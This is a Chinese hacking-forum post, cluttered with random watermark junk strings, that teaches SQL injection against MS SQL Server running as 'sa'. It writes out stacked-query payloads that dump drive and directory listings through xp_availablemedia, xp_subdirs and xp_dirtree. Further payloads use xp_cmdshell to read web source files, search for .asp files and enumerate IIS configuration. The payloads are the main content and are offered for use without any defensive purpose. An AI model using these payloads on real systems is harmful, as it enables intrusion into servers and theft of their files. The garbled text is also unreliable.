如何利用Sql 注入遍历目录

关于如何取得注入入口不再说了，前面的帖子都说得很详细了，我们就如何浏览全部目录和文件进行研究
?-m.H2Mt2Q0当System_user为"sa"时，具有全部权限，包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除，我们可以利用它来遍历全部目录，执行如下：★黑基空间★"k"E;A-W#L8SC
先创建一个临时表：temp★黑基空间★#p']\#B3IU
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

SS#XZ {yD+q:a0接下来：
[3\/|K1l%qGg`Q0（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：
O)D$FUs4b#j05';insert temp exec master.dbo.xp_availablemedia;--★黑基空间★3Z0E H"}w#Y#F
我们可以通过查询temp的内容来获得驱动器列表及相关信息
+V/n8vH(o\ D5R0（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中：
@%`&PKw#b7l05';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--★黑基空间★yWyQ/Sp L%K,Ob$N
（3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：
}8}P0\N [Lw05';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--★黑基空间★-@opZ X/K|?_*H

这样就可以成功的浏览到所有的目录（文件夹）列表：★黑基空间★M1V:Z$cP9y'G+J
如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：★黑基空间★G xEv!Su^%Z;{
o4Rd
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
)z;{^G(Q2Vxd0浏览temp就可以看到index.asp文件的内容了！★黑基空间★Dy/`j+VT Wv

,]I4R"s$zL!MIej0当然，如果xp_cmshell能够执行，我们可以用它来完成：

N!E)R6\/eq4Y05';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--★黑基空间★D9g
{LIw"G:Ve
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通过xp_cmdshell我们可以看到所有想看到的，包括W3svc

5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscrīpt C:\Inetpub\Adminscrīpts\adsutil.vbs enum w3svc'★黑基空间★_soOp

但是，如果不是Admin的权限，我们还可以使用
1{I+H`'h05';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--★黑基空间★1o1DI*adC

如果大家还有什么好的方法欢迎与我讨论研究★黑基空间★(u g3nC t `